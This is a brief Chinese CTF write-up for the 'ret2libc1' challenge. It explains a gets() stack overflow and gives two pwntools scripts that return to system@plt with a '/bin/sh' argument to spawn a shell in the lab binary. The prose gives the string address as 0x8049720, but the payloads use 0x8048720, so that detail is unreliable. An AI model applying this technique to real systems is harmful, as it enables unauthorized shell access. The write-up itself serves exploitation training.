Ret2libc 1
题目代码和之前一样,gets函数存在栈溢出。同时也存在system函数,但是不同之处是我们不能直接跳转到system(“shell!?”)。因为我们要执行的是system(“bin/sh”)。
首先,我们可以在内存中搜索一下看有没有这个字符串
我们可以看到在0x8049720存在我们需要的字符串
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
from pwn import *
p = process('./ret2libc1')
elf = ELF('./ret2libc1')
p.sendline('a'*112 + p32(elf.plt['system']) + 'aaaa' + p32(0x8048720))
p.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 或’aaaa’作为虚假的地址,其后参数对应的参数内容。
一般直接调用system地址的时候程序有个call指令会自动返回地址存到内存中,但是这里是直接调用的system的plt地址,没有call的那一步,所以要加一个bbbb